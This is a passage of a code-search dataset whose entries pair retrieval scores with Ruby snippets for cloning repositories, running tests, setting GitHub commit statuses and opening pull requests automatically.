"text": "def launch_test_and_setup_status(repo, pr_head_sha, pr_head_ref, pr_base_ref)\n # pending\n @client.create_status(repo, pr_head_sha, 'pending',\n context: @context, description: @description,\n target_url: @target_url)\n # do tests\n pr_test(pr_base_ref, pr_head_sha, repo, pr_head_ref)\n # set status\n @client.create_status(repo, pr_head_sha, @j_status,\n context: @context, description: @description,\n target_url: @target_url)\nend",
"title": ""
},
{
"docid": "a1e89608d12b5f627402e601eb0f051c",
"score": "0.55141264",
"text": "def setup_fake_module\n Git.clone('https://github.com/puppetlabs/puppetlabs-testing.git', remote_testing_repo) unless Dir.exist?(File.join(remote_testing_repo, '.git'))\nend",
"title": ""
},
{
"docid": "a02416425199fca96b8823c41b4f0709",
"score": "0.5461829",
"text": "def initial_pull\n pull_reddit\n pull_stack_overflow\n pull_hacker_news\n pull_product_hunt\n end",
"title": ""
},
{
"docid": "6aeb2521b520a12cd54092401b4155d4",
"score": "0.5458397",
"text": "def setup_fake_module\n Git.clone('https://github.com/puppetlabs/puppetlabs-motd.git', remote_testing_repo) unless Dir.exist?(File.join(remote_testing_repo, '.git'))\nend",
"title": ""
},
{
"docid": "22f8c79d9c4323918c81faad6cbcece8",
"score": "0.5451397",
"text": "def pull_commits(repo, number, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "9f1f27bf758d2ca2d0430ec54b0480a3",
"score": "0.539896",
"text": "def setup\n if !working_dir_exists?\n system <<-SH\n mkdir -p #{WORKING_DIR} &&\n cd #{WORKING_DIR} &&\n git init . &&\n git remote add -f origin https://github.com/elastic/elasticsearch.git &&\n git config core.sparsecheckout true &&\n echo /rest-api-spec/src/main/resources/rest-api-spec/api/ >> .git/info/sparse-checkout &&\n git pull origin main\n SH\n end\n\n system <<-SH\n cd #{WORKING_DIR} &&\n git pull origin main &&\n git checkout -q origin/#{short_version}\n SH\n end",
"title": ""
},
{
"docid": "67252af56108fc6934cd00566f38a2e4",
"score": "0.53977233",
"text": "def test_suite_pull(_)\n git = Git.open(@path_to[:current_test_suite])\n @console.info self, git.pull(git.remote, git.current_branch)\n end",
"title": ""
},
{
"docid": "4e2a7bce585d25ecc28ee275eedcef91",
"score": "0.5382975",
"text": "def source_release\n puts 'github source_release'\n\n # push the version bumped metadata file + newly created files to\n CapsuleCD::GitUtils.push(@source_git_local_path, @source_git_local_branch, @source_git_base_info['ref'])\n # sleep because github needs time to process the new tag.\n sleep 5\n\n # calculate the release sha\n release_sha = ('0' * (40 - @source_release_commit.sha.strip.length)) + @source_release_commit.sha.strip\n\n # get the release changelog\n release_body = CapsuleCD::GitUtils.generate_changelog(@source_git_local_path, @source_git_base_info['sha'], @source_git_head_info['sha'], @source_git_base_info['repo']['full_name'])\n\n release = @source_client.create_release(@source_git_base_info['repo']['full_name'], @source_release_commit.name, target_commitish: release_sha,\n name: @source_release_commit.name,\n body: release_body)\n\n @source_release_artifacts.each do |release_artifact|\n @source_client.upload_asset(release[:url], release_artifact[:path], name: release_artifact[:name])\n end\n\n FileUtils.remove_entry_secure @source_git_parent_path if Dir.exists?(@source_git_parent_path)\n # set the pull request status\n @source_client.create_status(@source_git_base_info['repo']['full_name'], @source_git_head_info['sha'], 'success',\n context: 'CapsuleCD',\n target_url: 'http://www.github.com/AnalogJ/capsulecd',\n description: 'Pull-request was successfully merged, new release created.')\n end",
"title": ""
},
{
"docid": "7ed474817c4008e6ae2b4cc55a65f681",
"score": "0.5313845",
"text": "def test_with_cocoapods\n skip('by default')\n\n # clone and set default branch\n project_name = \"project/test.examples\" # To avoid nested bundler\n # https://github.com/KazuCocoa/test.example\n g = ::Anticuado::GitHub.new \"KazuCocoa/test.examples\", enterprise: false\n g.clone_or_open_to project_name\n\n # update\n update_libraries_list = ['EarlGrey', 'Firebase/Core']\n bundler = ::Anticuado::IOS::CocoaPods.new project_name\n bundler.update_lock update_libraries_list\n\n # create a PR\n Dir.chdir(project_name) do\n g.create_a_new_pull_request base_branch: 'master', head_branch: \"update-#{Time.now.strftime '%Y%m%d-%H%M%S'}\", update_libraries: update_libraries_list\n end\n end",
"title": ""
},
{
"docid": "35a64973df780036aac4020b588fb9f2",
"score": "0.5309495",
"text": "def fetch\n clone!\n checkout!\n version\n update_submodules\n end",
"title": ""
},
{
"docid": "f03a915a09fcaf1b690177b618f34794",
"score": "0.53089803",
"text": "def run_tests(&block)\n\n @sources.each do |source|\n result = test_source(File.absolute_path(source))\n block.call({ :source => source, :result => result })\n end\n\n end",
"title": ""
},
{
"docid": "468aba9d26616b8a40305ed391e05853",
"score": "0.5307205",
"text": "def update_wiki_submodule\n cd g('wiki_source') do\n pullCommand = 'git pull origin master'\n puts \"Updating wiki submodule\"\n output = `#{pullCommand}`\n\n if output.include? 'Already up-to-date'\n abort(\"No update necessary\") # exit\n end\n end\nend",
"title": ""
},
{
"docid": "468aba9d26616b8a40305ed391e05853",
"score": "0.5307205",
"text": "def update_wiki_submodule\n cd g('wiki_source') do\n pullCommand = 'git pull origin master'\n puts \"Updating wiki submodule\"\n output = `#{pullCommand}`\n\n if output.include? 'Already up-to-date'\n abort(\"No update necessary\") # exit\n end\n end\nend",
"title": ""
},
{
"docid": "c4a29a7efaa2c3a846a996edda847a36",
"score": "0.530611",
"text": "def specs(*)\n if allow_git_ops? && !@update\n # Start by making sure the git cache is up to date\n cache\n checkout\n @update = true\n end\n local_specs\n end",
"title": ""
},
{
"docid": "9294f3c86b089176a6b7d69133448c35",
"score": "0.5292643",
"text": "def execute\n GitHub.connect do\n pull_request = GitHub::PullRequest.new(config.github_repo, pull_request_id)\n merge pull_request\n update_changelog pull_request\n end\n rescue GitHub::PullRequest::NotFound\n cli.say \"Unable to find a pull request #{pull_request_id} for #{config.github_repo}. Please verify.\"\n end",
"title": ""
},
{
"docid": "b9693b0b80aacb51440b0e7aa31f7334",
"score": "0.52812225",
"text": "def source_process_pull_request_payload(payload)\n puts 'github source_process_payload'\n\n # validate the github specific payload options\n unless (payload['state'] == 'open')\n fail CapsuleCD::Error::SourcePayloadUnsupported, 'Pull request has an invalid action'\n end\n unless (payload['base']['repo']['default_branch'] == payload['base']['ref'])\n fail CapsuleCD::Error::SourcePayloadUnsupported, 'Pull request is not being created against the default branch of this repository (usually master)'\n end\n # check the payload push user.\n\n # TODO: figure out how to do optional authenication. possible options, Source USER, token based auth, no auth when used with capsulecd.com.\n # unless @source_client.collaborator?(payload['base']['repo']['full_name'], payload['user']['login'])\n #\n # @source_client.add_comment(payload['base']['repo']['full_name'], payload['number'], CapsuleCD::BotUtils.pull_request_comment)\n # fail CapsuleCD::Error::SourceUnauthorizedUser, 'Pull request was opened by an unauthorized user'\n # end\n\n # set the processed base/head info,\n @source_git_base_info = payload['base']\n @source_git_head_info = payload['head']\n CapsuleCD::ValidationUtils.validate_repo_payload(@source_git_base_info)\n CapsuleCD::ValidationUtils.validate_repo_payload(@source_git_head_info)\n\n # set the remote url, with embedded token\n uri = URI.parse(payload['base']['repo']['clone_url'])\n uri.user = @config.source_github_access_token\n @source_git_remote = uri.to_s\n\n # clone the merged branch\n # https://sethvargo.com/checkout-a-github-pull-request/\n # https://coderwall.com/p/z5rkga/github-checkout-a-pull-request-as-a-branch\n @source_git_local_path = CapsuleCD::GitUtils.clone(@source_git_parent_path, @source_git_head_info['repo']['name'], @source_git_remote)\n @source_git_local_branch = \"pr_#{payload['number']}\"\n CapsuleCD::GitUtils.fetch(@source_git_local_path, \"refs/pull/#{payload['number']}/merge\", @source_git_local_branch)\n CapsuleCD::GitUtils.checkout(@source_git_local_path, @source_git_local_branch)\n\n # show a processing message on the github PR.\n @source_client.create_status(payload['base']['repo']['full_name'], @source_git_head_info['sha'], 'pending',\n context: 'CapsuleCD',\n target_url: 'http://www.github.com/AnalogJ/capsulecd',\n description: 'Started processing package. Pull request will be merged automatically when complete.')\n end",
"title": ""
},
{
"docid": "7eaa1077c8dcad81789e8e5f9cf44b60",
"score": "0.5274426",
"text": "def update(source_name = nil, show_output = false)\n if source_name\n sources = [art_source_named(source_name)]\n else\n sources = art_sources\n end\n sources.each do |source|\n UI.section \"Updating spec repo `#{source.name}`\" do\n Dir.chdir(source.repo) do\n begin\n # TODO HEAD to api/updateTime\n # TODO unless .lastupdated >= api/updateTime do\n # TODO Until we support delta downloads, update is actually add if not currently up tp date\n url = UTIL.get_art_url(source.repo)\n if @prune\n hard_update(source, source_name, url)\n else\n soft_update(source, url)\n end\n UI.puts \"Successfully updated repo #{source.name}\".green if show_output && !config.verbose?\n rescue => e\n UI.warn \"Unable to update repo `#{source.name}`: #{e.message}\"\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "18fbe9ae9fd18226cd641390337ca592",
"score": "0.52644426",
"text": "def start_auto_test\n auto_test_record = AutoTestProject.find_by(:gitlab_id => params[:project_id])\n auto_test_classroom_id = auto_test_record.classroom_id\n auto_test_type = auto_test_record.test_type\n auto_test_students_record = AutoTestProject.where(\n :classroom_id => auto_test_classroom_id,\n :test_type => auto_test_type,\n :is_public => 0\n )\n\n git_repo_list = ''\n auto_test_students_record.each do |item|\n git_repo_list += projects_service.project(item.gitlab_id)['http_url_to_repo'] + ','\n end\n git_repo_list.chop!\n\n # puts('::::::::::::::::::::::::::')\n # puts(git_repo_list)\n\n use_text_file = false\n if params[:use_text_file] == 'true'\n use_text_file = true\n end\n\n use_text_output = false\n if params[:use_text_output] == 'true'\n use_text_output = true\n end\n\n compile_command = nil\n if params[:compile_command] != ''\n compile_command = params[:compile_command]\n end\n\n exec_command = nil\n if params[:exec_command] != ''\n exec_command = params[:exec_command]\n end\n\n runner = Runner.find_by(uid: params[:runner_uid])\n auto_test_runners_service.start_auto_test(\n auto_test_type,\n params[:project_id],\n git_repo_list,\n runner[:path],\n use_text_file,\n use_text_output,\n compile_command,\n exec_command\n )\n end",
"title": ""
},
{
"docid": "5809ba0a97b261de3ba0a576cb11b881",
"score": "0.52619946",
"text": "def setUp\n\n @has_tests = @subtree.source_exists\n if @has_tests\n @found_tests = find_tests\n @has_tests = ! @found_tests.empty?\n end\n\n # Skip preparations if we're not actually running any tests on this tree; doing things\n # like building the DSO boot JAR takes time, and it's pointless if we're not actually\n # going to run any tests on this tree (which we might not do depending on how the\n # patterns are set...).\n if ! @has_tests\n @setUp = true\n return\n end\n\n # tests_jvm will raise an exception if there is a problem with the JVM configuration\n tests_jvm\n\n if tests_jvm.actual_type =~ /ibm/i\n @extra_jvmargs << \"-Xdump:java:file=-\"\n end\n\n add_debug_jvmargs\n\n puts \"------------------------------------------------------------------------\"\n puts \"PREPARING to run tests (#{@test_patterns.join(\", \")}) on subtree '#{@subtree.module_subtree_name}'...\"\n puts \"\"\n\n # We run the tests with CWD set to the temporary directory, just in case the\n # test decides to just new up files directly (without using the temporary-directory\n # stuff) and write them.\n @cwd = @testrun_results.temp_dir(@subtree)\n @classpath = @subtree.classpath(@build_results, :full, :runtime)\n\n edition = (@classpath.to_s =~ /ent-common/) ? 'Enterprise' : 'Opensource'\n @build_data_dir = FilePath.new(@cwd, \"builddata\").ensure_directory\n create_data_file(@config_source, @build_data_dir, :build_data, edition)\n \n # Build a DSO boot JAR, if necessary.\n boot_jar = nil\n if @needs_dso_boot_jar\n if @config_source['boot_jar_path']\n loud_message(\"Using user specified boot JAR at #{@config_source['boot_jar_path']}\")\n boot_jar = UserBootJar.new(@config_source['boot_jar_path'])\n else\n module_set = @subtree.build_module.module_set\n boot_jar_config_file = @subtree.boot_jar_config_file(@static_resources)\n\n boot_jar_base_dir = @build_results.shared_boot_jar_directory\n if boot_jar_config_file == @static_resources.dso_boot_jar_config_file\n boot_jar_dir = FilePath.new(boot_jar_base_dir, 'standard')\n else\n basename = Regexp.new(BuildSubtree::BOOT_JAR_CONFIG_FILE_BASENAME)\n subdir = \"#{@subtree.build_module.name}-#{boot_jar_config_file.filename.to_s.gsub(basename, '')}\"\n boot_jar_dir = FilePath.new(boot_jar_base_dir, subdir)\n end\n\n boot_jar = BootJar.new(tests_jvm, boot_jar_dir, module_set, boot_jar_config_file.to_s)\n boot_jar.add_extra_classpath(@build_data_dir)\n\n reuse_boot_jars = (@config_source[STATIC_PROPERTIES_PREFIX + 'reuse_boot_jars'] =~ /true/i) ? true : false\n boot_jar_up_to_date = boot_jar.exist? &&\n (File.mtime(boot_jar.path.to_s) > File.mtime(boot_jar_config_file.to_s))\n if reuse_boot_jars && boot_jar_up_to_date\n puts(\"Using existing boot JAR at #{boot_jar.path}\")\n else\n puts(\"This subtree requires a DSO boot JAR to run tests. Building boot JAR using config file #{boot_jar_config_file}\")\n begin\n boot_jar_create_time = time do boot_jar.ensure_created(:delete_existing => !reuse_boot_jars) end\n puts(\"Boot JAR creation took #{boot_jar_create_time} seconds\")\n rescue => e\n error_msg = \"Failed to create boot JAR for: #{@test_patterns.join(\", \")} under module \" +\n @subtree.build_module.name + \". Exception: #{e}\"\n STDERR.puts(error_msg)\n raise(error_msg)\n end\n end\n\n # there's a strange bug with FileUtils when Emma is enabled.\n # it won't copy file correctly. We have to use shell cp cmd\n if Registry[:emma]\n from = boot_jar.path.to_s.gsub(/\\\\/, \"/\")\n to = @testrun_results.boot_jar_directory(@subtree).ensure_directory.to_s.gsub(/\\\\/, \"/\")\n\n if ENV['OS'] =~ /Windows/i\n from = `cygpath -u #{from}`.chomp\n to = `cygpath -u #{to}`.chomp\n end\n `cp #{from} #{to}`\n else\n FileUtils.copy(boot_jar.path.to_s, @testrun_results.boot_jar_directory(@subtree).ensure_directory.to_s)\n end\n end\n end\n\n # This is necessary to make Log4J behave correctly. Ah, Log4J is insane.\n if FileTest.exist?(@static_resources.log4j_properties_file.to_s)\n @ant.copy(:file => @static_resources.log4j_properties_file.to_s, :todir => @testrun_results.temp_dir(@subtree).to_s)\n end\n\n # download appserver and set appserver.home if needed\n download_appserver_if_needed()\n\n # Set the tc.tests.configuration.transparent-tests.mode property if necessary\n if mode = @config_source['test.mode']\n @internal_config_source['tc.tests.configuration.transparent-tests.mode'] = mode\n end\n\n # This creates the file that TestConfigObject reads.\n @subtree.create_build_configuration_file(@static_resources, @testrun_results, @build_results, @build_environment, @config_source, boot_jar, @ant, tests_jvm, all_jvmargs, @timeout)\n\n native_library_path = @subtree.native_library_path(@build_results, @build_environment, :full)\n\n @jvmargs = [ ]\n\n modules_dir = @build_results.modules_home\n\n # 'tc.tests.info.property-files' is set so that TestConfigObject knows which file to go read.\n @sysproperties = {\n 'tc.base-dir' => @static_resources.root_dir.to_s,\n 'java.awt.headless' => true,\n 'tc.tests.info.property-files' => @testrun_results.build_configuration_file(@subtree).to_s,\n 'com.tc.l1.modules.repositories' => modules_dir\n }\n\n @sysproperties['java.library.path'] = native_library_path.to_s unless native_library_path.to_s.blank?\n\n if @use_dso_boot_jar\n @jvmargs << \"-Xbootclasspath/p:#{boot_jar.path.to_s}\"\n @sysproperties.merge!({\n 'tc.config' => @static_resources.dso_test_runtime_config_file,\n 'tc.dso.globalmode' => false\n })\n end\n\n # This is *quite* important. If something goes really wrong with a test, to the point where it\n # crashes, doesn't even get started, hangs hard-core, or otherwise can't write out its result\n # XML file, then, without this, we'll never know about it -- which is really, really bad.\n # Instead, we write out these \"test didn't run\" XML files ahead of time, and let the tests\n # overwrite them as they go; this way, it's positive, instead of negative, feedback -- we only\n # count the test as having passed if we *know* it passed, rather than only counting it as\n # having failed if we *know* it failed. Much better.\n puts \"Writing out 'did-not-run' XML files for the #{@found_tests.size} \" +\n \"test(s) in #{@subtree.build_module.name}/#{@subtree.name}...\"\n @found_tests.each do |found_test|\n class_name = @build_results.class_name_for_class_file(@subtree, found_test)\n unless FilePath.new(found_test).filename =~ /\\$/\n create_did_not_run_file(class_name, @testrun_results.results_file(@subtree, class_name))\n end\n end\n\n puts \"Done.\"\n\n @setUp = true\n end",
"title": ""
},
{
"docid": "2bb2cb2b9414f3d5ec253e541e247592",
"score": "0.5260958",
"text": "def check_github\n github_checker = GithubChecker.new(source_url)\n self.description = github_checker.check_description if check_description?\n self.popularity = github_checker.check_stars if check_popularity?\n end",
"title": ""
},
{
"docid": "c64abef233144987994fa9008fb15ec7",
"score": "0.5260216",
"text": "def setup\n FileUtils.mkdir_p(@dir)\n exists = File.exists?(\"#{@path}/.git\")\n \n if exists\n dir = @path\n cmd = \"pull origin master\"\n else\n dir = @dir\n cmd = \"clone #{@repository}\"\n end\n \n Dir.chdir(dir) { system(\"git #{cmd}\") }\n update_gemfile\n \n if exists\n update_rails\n else\n install_gems\n setup_db\n setup_dummy\n end\n end",
"title": ""
},
{
"docid": "20d2630a3bc810c0bbf7cb88b692f661",
"score": "0.5253851",
"text": "def pull args = []\n\t\t\t\targs, opts\t= Simrb.input_format args\n\n\t\t\t\t# pull the repo\n\t\t\t\tif opts[:r]\n\t\t\t\t\trepo_name\t= args[0] ? args[0].split('/').last : Scfg[:main_repo]\n\t\t\t\t\tfull_name\t= args[0] ? args[0] : \"simrb/#{Scfg[:main_repo]}\"\n\t\t\t\t\tto_repo \t= Simrb.addslash(args[1] ? args[1] : Spath[:repo_dirs][0])\n\t\t\t\t\tispull\t\t= File.exist?(to_repo + repo_name + \"/README.md\") ? (opts[:f] ? true : false) : true\n\n\t\t\t\t\tif ispull\n\t\t\t\t\t\tSimrb.path_write to_repo\n\t\t\t\t\t\tsystem(\"git clone #{Scfg[:source]}#{full_name}.git\")\n\t\t\t\t\t\tsystem(\"mv #{repo_name} #{to_repo}\")\n\t\t\t\t\tend\n\n\t\t\t\t# pull the module\n\t\t\t\telse\n\t\t\t\t\tSimrb.root_dir_force\n\n\t\t\t\t\trepo_dir = Simrb.addslash(Spath[:repo_dirs][0] + Spath[:def_repo])\n\t\t\t\t\tSimrb.path_write repo_dir\n\n\t\t\t\t\targs.each do | full_name |\n\t\t\t\t\t\trepo, name = full_name.split(\"/\")\n\t\t\t\t\t\tif Smods.keys.include? name\n\t\t\t\t\t\t\tputs \"The module #{name} is existing at local repository, hasn't got from remote\"\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tpath\t= \"#{Scfg[:source]}#{full_name}.git\"\n\t\t\t\t\t\t\tlocal\t= \"#{repo_dir}#{name}\"\n\t\t\t\t\t\t\tsystem(\"git clone #{path} #{local}\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tputs \"Implemented completely\"\n\t\t\tend",
"title": ""
},
{
"docid": "f2dd33c30aff324ac74dbf45b5a227a5",
"score": "0.52497953",
"text": "def update(source_name = nil, show_output = false)\n if source_name\n sources = [UTIL.get_art_repo(source_name)]\n else\n sources = UTIL.get_art_repos()\n end\n\n sources.each do |source|\n UI.section \"Updating spec repo `#{source.name}`\" do\n Dir.chdir(source.path) do\n begin\n # TODO HEAD to api/updateTime\n # TODO unless .lastupdated >= api/updateTime do\n # TODO Until we support delta downloads, update is actually add if not currently up tp date\n url = UTIL.get_art_url(source.path)\n if @prune\n hard_update(source.name, source.path, url)\n else\n soft_update(source.path, url)\n end\n UI.puts \"Successfully updated repo #{source.name}\".green if show_output && !config.verbose?\n rescue => e\n UI.warn \"Unable to update repo `#{source.name}`: #{e.message}\"\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3875fe6487983f4245b3c7127c47eaa4",
"score": "0.52201384",
"text": "def build_test\n return if skip_method(__method__)\n \n build_test_fixtures\n build_test_helper\n build_test_request\n\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.5216205",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "6dd421393f99faea0c5deb32c2ff7106",
"score": "0.5179445",
"text": "def source_configure\n puts 'github source_configure'\n fail CapsuleCD::Error::SourceAuthenticationFailed, 'Missing github access token' unless @config.source_github_access_token\n\n @source_release_commit = nil\n @source_release_artifacts = []\n\n @source_git_parent_path = @config.source_git_parent_path || Dir.mktmpdir\n Octokit.auto_paginate = true\n Octokit.configure do |c|\n c.api_endpoint = @config.source_github_api_endpoint if @config.source_github_api_endpoint\n c.web_endpoint = @config.source_github_web_endpoint if @config.source_github_web_endpoint\n end\n @source_client = Octokit::Client.new(access_token: @config.source_github_access_token)\n end",
"title": ""
},
{
"docid": "f4c01298940a88fa2a3584b1c36ffbfc",
"score": "0.51722306",
"text": "def init_repo( repo_name )\r\n # Dossier de travail \r\n project_path = \"./\" \r\n git_account = \"140ch204\"\r\n\r\n $repo_name = repo_name.downcase\r\n \r\n # Ajustement du project_path\r\n (project_path[-1] != \"/\")? project_path += project_path + \"/\" : \"\"\r\n\r\n # Chemin complet du repository\r\n $repo_full_path = project_path + $repo_name + \"/\"\r\n\r\n # Création du dossier du repository\r\n mkdir(\"\")\r\n\r\n # Création du Gemfile\r\n new_file(\"Gemfile\",\"source 'https://rubygems.org'\r\nruby '2.5.1'\r\ngem 'rspec'\r\ngem 'pry'\r\ngem 'rubocop', '~> 0.57.2'\r\ngem 'nokogiri'\r\ngem 'rest-client'\r\ngem 'dotenv'\")\r\n\r\n # Création du .env\r\n new_file(\".env\",\"FIRST_KEY='mykey'\")\r\n\r\n # Création du gitignore\r\n new_file(\".gitignore\",\".env\")\r\n\r\n # Création du app.rb\r\n new_file(\"app.rb\",\"\r\nrequire 'pry' \r\nrequire_relative './lib/app'\r\nclass Event\r\n def perform\r\n end\r\nend\r\nbinding.pry\r\n \")\r\n\r\n # Création du dossier lib du repo\r\n mkdir(\"lib\")\r\n \r\n # Création du readme.md\r\n new_file(\"readme.md\",\"Fichier Readme du Projet #{$repo_name}\")\r\n\r\n # Rentrer dans le projet\r\n Dir.chdir(repo_name)\r\n\r\n system(\"rspec --init\")\r\n\r\n # Gestion GitHub :\r\n system(\"git init\")\r\n system(\"git remote add origin https://github.com/#{git_account}/#{repo_name}.git\")\r\n system(\"git push --set-upstream origin master\")\r\n system(\"git add .\")\r\n system(\"git commit -m 'init'\")\r\n puts(\"Connexion à Github pour le push :\" )\r\n system(\"git push\")\r\n puts(\"Initialisation terminée :-) \" )\r\n \r\nend",
"title": ""
},
{
"docid": "1f9abdd415b9597c011bb5b021cf99f8",
"score": "0.5170361",
"text": "def process_data\n source_index_page = get_source_index_page(@source_index_uri)\n rows = get_source_rows(source_index_page)\n \n # grabs org @ source data from detail pages\n shaped_rows = get_data(rows)\n puts \"Pull Sources Complete\"\n \n # processes org & source data into .yml's for rake push & pull\n loop_sources(shaped_rows)\n loop_orgs(shaped_rows)\n end",
"title": ""
},
{
"docid": "918c312e6a6e50d4cd4baab82cb4d379",
"score": "0.516041",
"text": "def setup\n # Repo directories on the filesystem\n @base_dir = Shellwords.shellescape(Dir.getwd + '/')\n @local_dir = 'local_repo/'\n @remote_dir = 'remote_repo/'\n @clone_dir = 'clone_repo/'\n\n # Network address for the repos\n @machine_url = '127.0.0.1'\n\n # a.txt contains A words, b.txt contains B words\n @files = ['a.txt', 'b.txt']\n\n @local_file_contents = [\n 'apple \\n algorithm \\n API \\n APL',\n 'binary \\n bit \\n byte'\n ]\n @remote_file_contents = [\n 'apple \\n algorithm \\n APL',\n 'binary \\n byte'\n ]\n\n @local_commit_messages = [\n 'Added \"API\" to A words',\n 'Added \"bit\" to B words'\n ]\n @remote_commit_messages = [\n 'Created file with A words',\n 'Created file with B words'\n ]\n\n # Initialize a local and remote repository in their respective directories\n Dir.mkdir(@local_dir, 0755)\n Dir.mkdir(@remote_dir, 0755)\n end",
"title": ""
},
{
"docid": "b4eb22ca8df26793dd991b154a9388af",
"score": "0.51456213",
"text": "def create_pull_requests_for_updated_branches(github = Github.new, user_options ={}, &block)\n options = {\n :repos => GithubFlow::Models::GithubRepo.all,\n :base_branch => 'master'\n }.merge(user_options).freeze\n raise 'Missing required option :base_user' if not options.has_key?(:base_user)\n raise 'Missing required option :base_repo' if not options.has_key?(:base_repo)\n #-----------------------------------------------------------------------------\n\n updated_repo_branches = get_updated_branches_relative_to_repo(github,\n :base_user => options[:base_user],\n :base_repo => options[:base_repo])\n updated_repo_branches.each do |updated_repo, updated_branches|\n updated_branches.each do |updated_branch_hash|\n updated_branch = updated_branch_hash[:new]\n old_sha = updated_branch_hash[:old_sha]\n\n # TODO: add ass method option\n next if not updated_branch.name.match(/-rc$/)\n\n GithubFlow.log 'Creating pull request: ' +\n \"[from: #{updated_repo.path}:#{updated_branch.name} (#{updated_branch.sha})] \" +\n \"[into: #{options[:base_user]}/#{options[:base_repo]}:#{options[:base_branch]}]\"\n\n # TODO: between [rose-compiler:rose, user:branch]\n file_reviewers = {}\n Dir.mktmpdir do |tmp_git_path|\n git = Grit::Git.new(tmp_git_path)\n git.clone({\n :quiet => false,\n :verbose => true,\n :progress => true,\n :branch => 'master'\n },\n \"http://github.com/#{updated_repo.path}.git\",\n tmp_git_path)\n\n grit = Grit::Repo.new(tmp_git_path)\n new_commits = grit.commits_between('origin/master', updated_branch.sha)\n review_commits = new_commits.select { |commit| ignore_commit(grit, commit) == false }\n ignored_commits = new_commits - review_commits\n\n GithubFlow.log \"New commits: #{new_commits.size} #{new_commits}\"\n GithubFlow.log \"Ignored commits: #{ignored_commits.size} #{ignored_commits}\"\n\n file_reviewers = get_reviewers_by_file(grit, 'AUTHORS.yml', review_commits)\n\n # Only need to validate each unique user once.\n reviewers = []\n file_reviewers.each do |f, r|\n reviewers << r\n end\n reviewers = reviewers.flatten.compact.uniq\n\n validate_reviewers(github, reviewers)\n end # Dir.mktmpdir\n\n # Don't allow self-reviews. Someone else has to review your work!\n file_reviewers = file_reviewers.each do |file, reviewers|\n reviewers = reviewers.collect do |reviewer|\n if reviewer['github-user'] == updated_repo.user\n nil\n else\n reviewer\n end\n end.compact\n file_reviewers[file] = reviewers\n end\n\n GithubFlow.log \"Reviewers for new pull request: #{file_reviewers}\"\n\n #---------------------------------\n # Pull request description body\n #---------------------------------\n body = \"(Automatically generated pull-request.)\\n\"\n file_reviewers.each {|file, reviewers|\n body << reviewers.collect {|r| \"\\n@#{r['github-user']} \"}.join + \": please code review #{file}.\"\n }\n\n begin\n pull_request = github.pull_requests.create_request(\n options[:base_user],\n options[:base_repo],\n 'title' => \"Merge #{updated_repo.user}:#{updated_branch.name} (#{updated_branch.sha[0,8]})\",\n 'body' => body,\n 'head' => \"#{updated_repo.user}:#{updated_branch.sha}\",\n 'base' => \"#{options[:base_branch]}\")\n GithubFlow.log \"Created GitHub::PullRequest: #{pull_request.to_json}\"\n\n updated_repo.pull_requests.create!(\n :issue_number => pull_request.number,\n :base_github_repo_path => \"#{options[:base_user]}/#{options[:base_repo]}\",\n :base_sha => options[:base_branch],\n :head_sha => updated_branch.sha)\n GithubFlow.log 'Persisted GitHubFlow::PullRequest'\n rescue Github::Error::UnprocessableEntity\n # TODO: existing pull request\n # TODO: ...check if it's being tested already. If so, create a new request.\n # TODO: should have been caught above\n # e = GithubFlow::Error::PullRequestExistsError.new($!.response_message)\n # if e.matches?\n # raise e\n # else\n # raise \"Unknown Github::Error: #{$!}\"\n # end\n GithubFlow.log \"Github Error\"\n end # begin..rescue\n\n #-------------------------------------------------------------------------\n # Update pull request\n #\n # (This extra step is simply a convenience for code reviewers.)\n #\n # Update the pull request's description with links to each file's diff-url.\n # This allows a code-reviewer to simply click the link to jump to the diff.\n #\n # Example::\n #\n # Markdown:\n # @doubleotoo: please code review \\\n # [src/README](https://github.com/doubleotoo/foo/pull/40/files#diff-0).\n #\n # Visible HTML:\n # @doubleotoo: please code review src/README.\n #\n #\n # First, we compute the \"diff number\" (i.e. ../files#diff-<number>) for\n # each file.\n #\n # Note: This is currently quite hackish. There's no json API that maps\n # a file to a diff number. So our best bet is to grab the array of\n # pull_request files and then hope that a file's index in the array is\n # it's diff number.\n # I suppose we could just link to the diff page instead...\n #\n #\n # If this update step fails, the pull_request will have a description,\n # requesting developers to code review files--there just won't be any\n # nice HTML links to the diff page.\n #\n #-------------------------------------------------------------------------\n pull_request_file_diff_number = {}\n i=0; github.pull_requests.files(options[:base_user],\n options[:base_repo],\n pull_request.number).each_page do |page|\n page.each do |file|\n pull_request_file_diff_number[file.filename] = i\n i += 1\n end\n end\n\n #---------------------------------\n # Pull request description body\n #\n # + With diff-links for files\n #---------------------------------\n body = \"(Automatically generated pull-request.)\\n\"\n file_reviewers.each {|file, reviewers|\n diff_number = pull_request_file_diff_number[file]\n diff_url = \"#{pull_request.html_url}/files#diff-#{diff_number}\"\n diff_link = \"[#{file}](#{diff_url})\" # markdown [name](anchor)\n GithubFlow.log \"diff_link='#{diff_link}' for #{file}\"\n body << reviewers.collect {|r| \"\\n@#{r['github-user']} \"}.join + \": please code review #{diff_link}.\"\n\n raise \"diff_number is nil for #{file}!\" if diff_number.nil?\n }\n\n github.pull_requests.update_request(options[:base_user],\n options[:base_repo],\n pull_request.number,\n 'body' => body)\n GithubFlow.log \"Updated GitHub::PullRequest with diff-links for files: #{pull_request.to_json}\"\n end # updated_branches.each\n end # updated_repo_branches.each\nend",
"title": ""
},
{
"docid": "9f257ce2eb2fb989ef717c2da0889aa0",
"score": "0.5128026",
